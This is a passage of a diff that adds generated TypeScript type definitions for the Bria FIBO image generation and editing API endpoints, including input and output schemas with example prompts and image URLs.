+ /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputBriaFibo2Generate = { + /** + * @description The generated image. + * @type object + */ + image: ImageC9A8B846 + /** + * @description The VGL the image was generated from. + * @example {"photographic_characteristics":{"focus":"crisp, ultra-sharp focus on the ribbed fabric texture, chain links, sunglasses, and suspended sand grains","depth_of_field":"moderately shallow, keeping the subject in sharp focus while the distant background mountains have a soft falloff","camera_angle":"low angle","lens_focal_length":"wide-angle lens"},"lighting":{"shadows":"a long, sharp shadow cast by the subject across the sand to the right","direction":"front-lit from the front-left by the flash, contrasting with the backlit ambient sky","conditions":"strong off-camera flash combined with ambient dusk twilight"},"background_setting":"Flat scrubby desert featuring sparse dry bushes, subtle footprints in the sand, and low dark silhouetted mountains along the horizon. The sky is a deep cobalt-blue with streaks of grey-violet clouds and a glowing orange and gold sunset band stretching along the left horizon.","objects":[{"location":"center-right","appearance_details":"glossy highlights on skin, windswept hair flying across her face, right arm swinging out behind with fingers spread","description":"A young woman with shoulder-length dark brown hair, twisting mid-motion with her body turning away while looking back over her shoulder at the camera with slightly parted lips. She wears wraparound mirrored silver sport sunglasses, a heavy silver chain necklace, a fitted white ribbed tank top, and loose light-grey cargo pants with large side pockets.","pose":"twisting mid-motion, turning body away while looking back over shoulder","skin_tone_and_texture":"warm skin tone with glossy highlights from the flash","orientation":"tilted dynamically, facing slightly left while head turns back","clothing":"fitted white ribbed tank top, loose light-grey cargo pants with large side pockets sitting low on hips, heavy silver chain necklace, wraparound mirrored silver sport sunglasses","expression":"confident, intense gaze with lips slightly parted","relationship":"main subject of the photograph, commanding the frame","action":"twisting and looking back over her shoulder while swinging right arm","gender":"female","shape_and_color":"dynamic human silhouette in white and grey with metallic accents","texture":"mixed textures of soft skin, ribbed cotton, heavy metallic links, and smooth synthetic sunglasses","relative_size":"large within frame"},{"location":"bottom-left foreground and surrounding legs","number_of_objects":1,"appearance_details":"individual sand grains sparkling under the hard flash light","description":"A burst of kicked-up sand billowing around her legs and to the lower left, with individual grains sharply frozen in mid-air by the flash.","texture":"grainy, particulate, and sharp","orientation":"scattered horizontally and vertically","relationship":"interacts with the model's movement, emphasizing action","action":"billowing and suspended in the air","shape_and_color":"cloud-like amorphous cluster of sandy beige and golden-brown particles","relative_size":"medium"}],"context":"This is a concept for an early-2000s retro-futuristic fashion editorial photograph intended for a high-end style magazine spread.","short_description":"An early-2000s fashion editorial photograph capturing a young woman dynamically twisting in a desert at dusk. Lit by a strong off-camera flash against a deep cobalt-blue and orange sunset sky, she wears Y2K-inspired streetwear including mirrored silver sunglasses, a white ribbed tank top, and loose cargo pants, surrounded by kicked-up sand.","artistic_style":"realistic","style_medium":"photograph","aesthetics":{"mood_atmosphere":"Y2K action-editorial energy, dynamic, confident, edgy, and cinematic","composition":"low angle shot, medium-tight framing cropped mid-thigh at the bottom, dynamic off-center placement following the rule of thirds","color_scheme":"high contrast palette featuring saturated cobalt blues, warm golden-orange sunset tones, and neutral greys and whites"}} + * @type object + */ + vgl: { + [key: string]: unknown + } + /** + * @description Single-element list holding the same image, as the sibling FIBO apps return. + * @default [] + * @example [{"url":"https://v3b.fal.media/files/b/0aaf2623/1zjIB_bIKvzMpu6fsECUP_fibo-2-generate-example-prod.png"}] + * @type array | undefined + */ + images?: ImageC9A8B846[] +} + +export type Color = { + /** + * @description The blue component of the color (0-255). + * @type integer + */ + blue: number + /** + * @description The green component of the color (0-255). + * @type integer + */ + green: number + /** + * @description The red component of the color (0-255). + * @type integer + */ + red: number + /** + * @description The name of the color. + */ + name?: string | null +} + +export type Point = { + /** + * @description The y coordinate. + * @type number + */ + y: number + /** + * @description The x coordinate. + * @type number + */ + x: number +} + +export type BoundingBox18F5C934 = { + /** + * @description The bottom-right corner of the bounding box. + * @type object + */ + bottom_right: Point + /** + * @description The top-left corner of the bounding box. + * @type object + */ + top_left: Point +} + +export type PromptObjectB1137B36 = { + /** + * @description The RGB color values for the skin tone of the object. + */ + skin_color?: Color | null + /** + * @description A description of the object to be generated. + */ + description?: string | null + /** + * @description The clothing of the object in the image. + */ + clothing?: string | null + /** + * @description The orientation of the object in the image. + */ + orientation?: string | null + /** + * @description A list of colors associated with the object. + */ + colors?: Color[] | null + /** + * @description The skin tone and texture of the object in the image. + */ + skin_tone_and_texture?: string | null + /** + * @description The appearance details of the object. + */ + appearance_details?: string | null + /** + * @description The number of objects in the image. + */ + number_of_objects?: number | null + /** + * @description The relative distance of the object from the camera or viewer. + */ + relative_distance?: number | null + /** + * @description The expression of the object in the image. + */ + expression?: string | null + /** + * @description The pose of the object in the image. + */ + pose?: string | null + /** + * @description The shape and color of the object. + */ + shape_and_color?: string | null + /** + * @description The relationship of the object to other objects in the image. + */ + relationship?: string | null + /** + * @description The texture of the object. + */ + texture?: string | null + /** + * @description The gender of the object in the image. + */ + gender?: string | null + /** + * @description The relative size of the object in the image. + */ + relative_size?: string | null + /** + * @description The location of the object in the image. + */ + location?: string | null + /** + * @description Bounding boxes defining the location of the object in the image. + */ + bounding_boxes?: BoundingBox18F5C934[] | null + /** + * @description The action of the object in the image. + */ + action?: string | null +} + +export type Aesthetics0964826C = { + /** + * @description The preference score of the image (e.g., 'very high', 'high', 'medium', 'low'). + */ + preference_score?: string | null + /** + * @description The composition of the image to be generated. + */ + composition?: string | null + /** + * @description The mood and atmosphere of the image to be generated. + */ + mood_atmosphere?: string | null + /** + * @description The aesthetic score of the image (e.g., 'very high', 'high', 'medium', 'low'). + */ + aesthetic_score?: string | null + /** + * @description The color scheme of the image to be generated. + */ + color_scheme?: string | null + [key: string]: unknown +} + +export type PhotographicCharacteristics4657133F = { + /** + * @description The focus in the image to be generated. + */ + focus?: string | null + /** + * @description The focal length of the lens in the image to be generated. + */ + lens_focal_length?: string | null + /** + * @description The angle of the camera in the image to be generated. + */ + camera_angle?: string | null + /** + * @description The depth of field in the image to be generated. + */ + depth_of_field?: string | null + [key: string]: unknown +} + +export type Lighting44E7Cb4F = { + /** + * @description The shadows in the image to be generated. + */ + shadows?: string | null + /** + * @description The conditions of the lighting in the image to be generated. + */ + conditions?: string | null + /** + * @description The direction of the lighting in the image to be generated. + */ + direction?: string | null + [key: string]: unknown +} + +export type StructuredPrompt = { + /** + * @description The background setting of the image to be generated. + */ + background_setting?: string | null + /** + * @description The artistic style of the image to be generated. + */ + artistic_style?: string | null + /** + * @description The style medium of the image to be generated. + */ + style_medium?: string | null + /** + * @description A list of text to be rendered in the image. + * @default [] + */ + text_render?: unknown[] | null + /** + * @description A list of objects in the image to be generated, along with their attributes and relationships to other objects in the image. + * @default [] + */ + objects?: PromptObjectB1137B36[] | null + /** + * @description The aesthetics of the image to be generated. + */ + aesthetics?: Aesthetics0964826C | null + /** + * @description The photographic characteristics of the image to be generated. + */ + photographic_characteristics?: PhotographicCharacteristics4657133F | null + /** + * @description The context of the image to be generated. + */ + context?: string | null + /** + * @description The lighting of the image to be generated. + */ + lighting?: Lighting44E7Cb4F | null + /** + * @description A list of colors that define the overall color palette of the image. + */ + color_palette?: Color[] | null + /** + * @description A short description of the image to be generated. + */ + short_description?: string | null +} + +export const inputBriaFiboBbqPreviewGenerateAspectRatioEnum = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputBriaFiboBbqPreviewGenerateAspectRatioEnumKey = + (typeof inputBriaFiboBbqPreviewGenerateAspectRatioEnum)[keyof typeof inputBriaFiboBbqPreviewGenerateAspectRatioEnum] + +export type InputBriaFiboBbqPreviewGenerate = { + /** + * @description Prompt for image generation. + * @example A hyper-detailed, ultra-fluffy owl sitting in the trees at night, looking directly at the camera with wide, adorable, expressive eyes. Its feathers are soft and voluminous, catching the cool moonlight with subtle silver highlights. The owl's gaze is curious and full of charm, giving it a whimsical, storybook-like personality. + */ + prompt?: string | null + /** + * @description Number of inference steps. + * @minimum 20 + * @maximum 50 + * @default 50 + * @type integer | undefined + */ + steps_num?: number + /** + * @description Aspect ratio. Options: 1:1, 2:3, 3:2, 3:4, 4:3, 4:5, 5:4, 9:16, 16:9 + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputBriaFiboBbqPreviewGenerateAspectRatioEnumKey + /** + * @description Reference image (file or URL). + */ + image_url?: string | null + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Guidance scale for text. + * @minimum 3 + * @maximum 5 + * @default 5 + * @type integer | undefined + */ + guidance_scale?: number + /** + * @description Random seed for reproducibility. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description Negative prompt for image generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The structured prompt to generate an image from. + */ + structured_prompt?: + | StructuredPrompt + | string + | { + [key: string]: unknown + } + | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image3F46352C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputBriaFiboBbqPreviewGenerate = { + /** + * @description Generated images. + * @type array | undefined + */ + images?: { + [key: string]: unknown + }[] + /** + * @description Generated image. + * @type object + */ + image: Image3F46352C + /** + * @description Current prompt. + * @type object + */ + structured_prompt: { + [key: string]: unknown + } +} + +export type LightingEe9F9F38 = { + /** + * @description The shadows in the image to be generated. + */ + shadows?: string | null + /** + * @description The direction of the lighting in the image to be generated. + */ + direction?: string | null + /** + * @description The conditions of the lighting in the image to be generated. + */ + conditions?: string | null +} + +export type PhotographicCharacteristicsFcc4E3C8 = { + /** + * @description The focal length of the lens in the image to be generated. + */ + lens_focal_length?: string | null + /** + * @description The angle of the camera in the image to be generated. + */ + camera_angle?: string | null + /** + * @description The focus in the image to be generated. + */ + focus?: string | null + /** + * @description The depth of field in the image to be generated. + */ + depth_of_field?: string | null +} + +export type PromptObjectC427D729 = { + /** + * @description The expression of the object in the image. + */ + expression?: string | null + /** + * @description The action of the object in the image. + */ + action?: string | null + /** + * @description The skin tone and texture of the object in the image. + */ + skin_tone_and_texture?: string | null + /** + * @description The clothing of the object in the image. + */ + clothing?: string | null + /** + * @description The number of objects in the image. + */ + number_of_objects?: number | null + /** + * @description The pose of the object in the image. + */ + pose?: string | null + /** + * @description A description of the object to be generated. + */ + description?: string | null + /** + * @description The relationship of the object to other objects in the image. + * @type string + */ + relationship: string + /** + * @description The shape and color of the object. + */ + shape_and_color?: string | null + /** + * @description The location of the object in the image. + */ + location?: string | null + /** + * @description The gender of the object in the image. + */ + gender?: string | null + /** + * @description The appearance details of the object. + */ + appearance_details?: string | null + /** + * @description The relative size of the object in the image. + */ + relative_size?: string | null + /** + * @description The texture of the object. + */ + texture?: string | null + /** + * @description The orientation of the object in the image. + */ + orientation?: string | null +} + +export type Aesthetics98B528A7 = { + /** + * @description The color scheme of the image to be generated. + */ + color_scheme?: string | null + /** + * @description The composition of the image to be generated. + */ + composition?: string | null + /** + * @description The aesthetic score of the image to be generated. + */ + aesthetic_score?: string | null + /** + * @description The mood and atmosphere of the image to be generated. + */ + mood_atmosphere?: string | null + /** + * @description The preference score of the image to be generated. + */ + preference_score?: string | null +} + +export type StructuredInstruction = { + /** + * @description The artistic style of the image to be generated. + */ + artistic_style?: string | null + /** + * @description The lighting of the image to be generated. + */ + lighting?: LightingEe9F9F38 | null + /** + * @description A list of text to be rendered in the image. + * @default [] + */ + text_render?: unknown[] | null + /** + * @description A short description of the image to be generated. + */ + short_description?: string | null + /** + * @description The photographic characteristics of the image to be generated. + */ + photographic_characteristics?: PhotographicCharacteristicsFcc4E3C8 | null + /** + * @description A list of objects in the image to be generated, along with their attributes and relationships to other objects in the image. + * @default [] + */ + objects?: PromptObjectC427D729[] | null + /** + * @description The style medium of the image to be generated. + */ + style_medium?: string | null + /** + * @description The edit instruction for the image. + */ + edit_instruction?: string | null + /** + * @description The context of the image to be generated. + */ + context?: string | null + /** + * @description The background setting of the image to be generated. + */ + background_setting?: string | null + /** + * @description The aesthetics of the image to be generated. + */ + aesthetics?: Aesthetics98B528A7 | null + [key: string]: unknown +} + +export const inputBriaFiboEdit15EditAspectRatio = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputBriaFiboEdit15EditAspectRatioKey = + (typeof inputBriaFiboEdit15EditAspectRatio)[keyof typeof inputBriaFiboEdit15EditAspectRatio] + +export type InputBriaFiboEdit15Edit = { + /** + * @description Mask (file or URL) marking the region to regenerate: white where the model should edit, black elsewhere. Single-reference requests only, and it must be the same size as that image. A masked edit comes back at the reference's own resolution. + */ + mask_url?: string | null + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output aspect ratio. Left unset, the output keeps the ratio of the first reference image. A chosen ratio applies only with two or more reference images; with a single reference the output keeps that image's ratio either way. + */ + aspect_ratio?: InputBriaFiboEdit15EditAspectRatioKey | null + /** + * @description 1-4 reference images (files or URLs). Order is significant: the instruction is resolved against the images in the order they are sent. + * @example ["https://v3b.fal.media/files/b/0aa69153/6d2UFjgrQCRM6BoWpXpZ3_126_1.jpg","https://v3b.fal.media/files/b/0aa69153/Gy-fjFofCbQP9w3lsfc2e_126_2.jpg"] + */ + image_urls?: string[] | null + /** + * @description Instruction for image editing. + * @example Uncross her arms and place the serum bottle in her right hand raised beside her face, label toward the camera. + */ + instruction?: string | null + /** + * @description A pre-built structured prompt, used verbatim instead of having VGL build one when no instruction is sent. Accepts what a previous edit returned. + */ + structured_instruction?: StructuredInstruction | null + /** + * @description Random seed for reproducibility. + * @default 5555 + * @type integer | undefined + */ + seed?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageCad66C04 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputBriaFiboEdit15Edit = { + /** + * @description The edited image, in the source aspect ratio unless aspect_ratio was set. + * @type object + */ + image: ImageCad66C04 + /** + * @description The structured instruction the model ran, expanded from the built-in instruction plus anything passed in `instruction`. Returned so you can see how the brief was interpreted. + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description Single-element list holding the same image, kept for callers of the earlier Fibo Edit endpoint. + * @default [] + * @example [{"url":"https://v3b.fal.media/files/b/0aa6910f/ie5dAn55wDh7Y1adCFGyE_85a45d82c6d141c2a28d92367596dfac.png"}] + * @type array | undefined + */ + images?: ImageCad66C04[] +} + +export const inputBriaFiboEdit15ExpandAspectRatio = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputBriaFiboEdit15ExpandAspectRatioKey = + (typeof inputBriaFiboEdit15ExpandAspectRatio)[keyof typeof inputBriaFiboEdit15ExpandAspectRatio] + +/** + * @description An expansion request: an image, a canvas to grow it into, and optionally what to put there. + * @type object + */ +export type InputBriaFiboEdit15Expand = { + /** + * @description The desired size of the final image after the expansion, as [width, height]. Area must be under 25 megapixels. Pairs with 'original_image_location'. + * @example [1200,674] + */ + canvas_size?: number[] | null + /** + * @description The desired aspect ratio of the final image. Used over 'original_image_size' and 'original_image_location' if provided: the original is centred and the canvas grows around it. + */ + aspect_ratio?: InputBriaFiboEdit15ExpandAspectRatioKey | null + /** + * @description The image to expand (file or URL). + * @example https://storage.googleapis.com/falserverless/model_tests/orange.png + * @type string + */ + image_url: string + /** + * @description Keep the original's own pixels at full resolution. Generation happens near one megapixel, so a larger canvas is scaled up afterwards; leave this on and the region the mask protected is not resampled at all. Turn it off for a uniformly soft result, which can hide the seam on a textured background. + * @default true + * @type boolean | undefined + */ + retain_original_quality?: boolean + /** + * @description Keep the input's transparency. The model works in RGB, so the alpha channel is not generated -- the original's own is extended outwards by replicating its edges, which is what expanding a cutout means. Turn it off to get a flattened RGB result. + * @default true + * @type boolean | undefined + */ + preserve_alpha?: boolean + /** + * @description Also return the model's own frame, before the original was pasted back and the seam blended. Diagnostic only -- it does not change the returned image. Use it to tell a bad generation apart from a bad composite: a boundary already broken in that frame came from the model, not from post-processing. + * @default false + * @type boolean | undefined + */ + return_model_output?: boolean + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Reuse the seed from a previous response to recreate that result. Omit it for a random one, which is reported in the response either way. + */ + seed?: number | null + /** + * @description Top-left corner of the original within the canvas, as [x, y]. May sit outside the canvas, in which case the original is cropped. Ignored if 'aspect_ratio' is provided. + * @example [301,-66] + */ + original_image_location?: number[] | null + /** + * @description The desired size of the original inside the canvas, as [width, height]; it is resized to this before being placed. Ignored if 'aspect_ratio' is provided. + * @example [610,855] + */ + original_image_size?: number[] | null + /** + * @description Not supported by this model, and refused rather than ignored -- see 'prompt'. Present only so a request written against the SDXL expansion endpoint fails loudly here instead of silently losing the field. + */ + negative_prompt?: string | null + /** + * @description What should appear in the expanded area. Omit it and the model is asked only to extend the image, which is usually what you want for a plain canvas change. + */ + prompt?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image989Eb968 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBriaFiboEdit15Expand = { + /** + * @description The seed used, so the result can be reproduced. + * @type integer + */ + seed: number + /** + * @description The structured prompt the model conditioned on. + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The model's own frame at the requested canvas size, with nothing pasted or blended into it. Only present when 'return_model_output' was set. + */ + model_output?: Image989Eb968 | null + /** + * @description The expanded image. + * @type object + */ + image: Image989Eb968 +} + +export const inputBriaFiboEdit15ProductHoldingAspectRatio = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputBriaFiboEdit15ProductHoldingAspectRatioKey = + (typeof inputBriaFiboEdit15ProductHoldingAspectRatio)[keyof typeof inputBriaFiboEdit15ProductHoldingAspectRatio] + +export type InputBriaFiboEdit15ProductHolding = { + /** + * @description Optional. A complete product-holding instruction already runs; this is appended to it. Use it for which hand, which way the label faces, or what must stay untouched. + * @example Replace the paper coffee cup in her right hand with the can, logo facing the camera. + */ + instruction?: string | null + /** + * @description One to three reference images of the product to place: extra angles, its packaging, or a companion item. They describe one holding scene rather than three separate products. The product's geometry, colors, materials, branding and label text are reproduced as given. + * @example ["https://labs-assets.bria.ai/fal-examples/fibo-edit-1.5/product-holding/product.jpg"] + * @type array + */ + product_image_urls: string[] + /** + * @description Return the image inline in the response instead of as a hosted URL. Adds latency. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed. The same seed with the same inputs returns the same image. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description Output aspect ratio. Left unset, the output keeps the ratio of the person image. + */ + aspect_ratio?: InputBriaFiboEdit15ProductHoldingAspectRatioKey | null + /** + * @description Photo of the person who will hold the product. Their identity, face, expression, clothing, pose and the background are preserved; only the arm and hand move. + * @example https://labs-assets.bria.ai/fal-examples/fibo-edit-1.5/product-holding/person.jpg + * @type string + */ + person_image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4130F323 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputBriaFiboEdit15ProductHolding = { + /** + * @description The edited image, in the source aspect ratio unless aspect_ratio was set. + * @type object + */ + image: Image4130F323 + /** + * @description The structured instruction the model ran, expanded from the built-in instruction plus anything passed in `instruction`. Returned so you can see how the brief was interpreted. + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description Single-element list holding the same image, kept for callers of the earlier Fibo Edit endpoint. + * @default [] + * @example [{"url":"https://v3b.fal.media/files/b/0aa6910f/ie5dAn55wDh7Y1adCFGyE_85a45d82c6d141c2a28d92367596dfac.png"}] + * @type array | undefined + */ + images?: Image4130F323[] +} + +export const inputBriaFiboEdit15VirtualTryOnAspectRatio = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputBriaFiboEdit15VirtualTryOnAspectRatioKey = + (typeof inputBriaFiboEdit15VirtualTryOnAspectRatio)[keyof typeof inputBriaFiboEdit15VirtualTryOnAspectRatio] + +export type InputBriaFiboEdit15VirtualTryOn = { + /** + * @description Optional. A complete try-on instruction already runs; this is appended to it. Use it to say what layers over what, or which items stay untouched. + * @example He wears the navy blazer over the white t-shirt he already has, and the grey tailored trousers instead of his jeans; his sneakers stay unchanged. + */ + instruction?: string | null + /** + * @description Random seed. The same seed with the same inputs returns the same image. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description Return the image inline in the response instead of as a hosted URL. Adds latency. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output aspect ratio. Left unset, the output keeps the ratio of the person image. + */ + aspect_ratio?: InputBriaFiboEdit15VirtualTryOnAspectRatioKey | null + /** + * @description One to three garment or accessory images. They are worn together and layered, each replacing the corresponding item the person currently wears. Fabric, color, texture, pattern and print placement, closures and proportions are reproduced as given. + * @example ["https://labs-assets.bria.ai/fal-examples/fibo-edit-1.5/virtual-try-on/garment-1.jpg","https://labs-assets.bria.ai/fal-examples/fibo-edit-1.5/virtual-try-on/garment-2.jpg"] + * @type array + */ + garment_image_urls: string[] + /** + * @description Photo of the person who will wear the garments. Their identity, face, hair, body shape, pose and the background are preserved. + * @example https://labs-assets.bria.ai/fal-examples/fibo-edit-1.5/virtual-try-on/person.jpg + * @type string + */ + person_image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image0B03959B = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputBriaFiboEdit15VirtualTryOn = { + /** + * @description The edited image, in the source aspect ratio unless aspect_ratio was set. + * @type object + */ + image: Image0B03959B + /** + * @description The structured instruction the model ran, expanded from the built-in instruction plus anything passed in `instruction`. Returned so you can see how the brief was interpreted. + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description Single-element list holding the same image, kept for callers of the earlier Fibo Edit endpoint. + * @default [] + * @example [{"url":"https://v3b.fal.media/files/b/0aa6910f/ie5dAn55wDh7Y1adCFGyE_85a45d82c6d141c2a28d92367596dfac.png"}] + * @type array | undefined + */ + images?: Image0B03959B[] +} + +export type InputBriaFiboEditAddObjectByText = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/an_empty_table_in_living_room.png + * @type string + */ + image_url: string + /** + * @description The full natural language command describing what to add and where. + * @example Place a red vase with flowers on the table. + * @type string + */ + instruction: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image658D0882 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditAddObjectByText = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: Image658D0882[] + /** + * @description Generated image. + * @type object + */ + image: Image658D0882 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type InputBriaFiboEditBlend = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/shirt.png + * @type string + */ + image_url: string + /** + * @description Instruct what elements you would like to blend in your image. + * @example Place the art on the shirt, keep the art exactly the same + * @type string + */ + instruction: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image38Cd4814 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditBlend = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: Image38Cd4814[] + /** + * @description Generated image. + * @type object + */ + image: Image38Cd4814 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export const inputBriaFiboEditColorizeColorEnum = { + 'contemporary color': 'contemporary color', + 'vivid color': 'vivid color', + 'black and white colors': 'black and white colors', + 'sepia vintage': 'sepia vintage', +} as const + +export type InputBriaFiboEditColorizeColorEnumKey = + (typeof inputBriaFiboEditColorizeColorEnum)[keyof typeof inputBriaFiboEditColorizeColorEnum] + +export type InputBriaFiboEditColorize = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/png+-+2026-01-13T083840.113.png + * @type string + */ + image_url: string + /** + * @description Select the color palette or aesthetic for the output image + * @example contemporary color + * @type string + */ + color: InputBriaFiboEditColorizeColorEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageF9D20250 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditColorize = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: ImageF9D20250[] + /** + * @description Generated image. + * @type object + */ + image: ImageF9D20250 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type Aesthetics1F30141D = { + /** + * @description The mood and atmosphere of the image to be generated. + */ + mood_atmosphere?: string | null + /** + * @description The preference score of the image to be generated. + */ + preference_score?: string | null + /** + * @description The color scheme of the image to be generated. + */ + color_scheme?: string | null + /** + * @description The composition of the image to be generated. + */ + composition?: string | null + /** + * @description The aesthetic score of the image to be generated. + */ + aesthetic_score?: string | null +} + +export type PhotographicCharacteristicsF9B96776 = { + /** + * @description The focus in the image to be generated. + */ + focus?: string | null + /** + * @description The depth of field in the image to be generated. + */ + depth_of_field?: string | null + /** + * @description The focal length of the lens in the image to be generated. + */ + lens_focal_length?: string | null + /** + * @description The angle of the camera in the image to be generated. + */ + camera_angle?: string | null +} + +export type LightingC8113626 = { + /** + * @description The direction of the lighting in the image to be generated. + */ + direction?: string | null + /** + * 